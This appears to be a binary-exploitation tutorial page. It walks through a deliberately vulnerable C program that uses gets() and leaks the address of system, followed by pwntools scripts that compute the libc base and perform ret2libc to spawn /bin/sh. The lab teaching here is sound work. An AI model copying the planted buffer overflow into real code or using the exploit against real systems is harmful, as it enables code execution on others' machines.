The Source
Copy #include <stdio.h>
#include <stdlib.h>
void vuln () {
char buffer[ 20 ];
printf( "System is at: %lp \n" , system) ;
gets(buffer) ;
}
int main () {
vuln() ;
return 0 ;
}
void win () {
puts( "PIE bypassed! Great job :D" ) ;
}
Just as we did for PIE, except this time we print the address of system.
Analysis
Copy $ ./vuln-32
System is at: 0xf7de5f00
Yup, does what we expected.
Your address of system might end in different characters - you just have a different libc version
Exploitation
Much of this is as we did with PIE.
Copy from pwn import *
elf = context . binary = ELF ( './vuln-32' )
libc = elf . libc
p = process ()
Note that we include the libc here - this is just another ELF
object that makes our lives easier.
Parse the address of system and calculate libc base from that (as we did with PIE):
Copy p . recvuntil ( 'at: ' )
system_leak = int (p. recvline (), 16 )
libc . address = system_leak - libc . sym [ 'system' ]
log . success ( f 'LIBC base: { hex (libc.address) } ' )
Now we can finally ret2libc, using the libc
ELF
object to really simplify it for us:
Copy payload = flat (
'A' * 32 ,
libc.sym[ 'system' ],
0x 0 , # return address
next (libc. search ( b '/bin/sh' ))
)
p . sendline (payload)
p . interactive ()
Final Exploit
Copy from pwn import *
elf = context . binary = ELF ( './vuln-32' )
libc = elf . libc
p = process ()
p . recvuntil ( 'at: ' )
system_leak = int (p. recvline (), 16 )
libc . address = system_leak - libc . sym [ 'system' ]
log . success ( f 'LIBC base: { hex (libc.address) } ' )
payload = flat (
'A' * 32 ,
libc.sym[ 'system' ],
0x 0 , # return address
next (libc. search ( b '/bin/sh' ))
)
p . sendline (payload)
p . interactive ()
64-bit
Try it yourself :)
Using pwntools
If you prefer, you could have changed the following payload to be more pwntoolsy:
Copy payload = flat (
'A' * 32 ,
libc.sym[ 'system' ],
0x 0 , # return address
next (libc. search ( b '/bin/sh' ))
)
p . sendline (payload)
Instead, you could do:
Copy binsh = next (libc. search ( b '/bin/sh' ))
rop = ROP (libc)
rop . raw ( 'A' * 32 )
rop . system (binsh)
p . sendline (rop. chain ())
The benefit of this is it's (arguably) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you.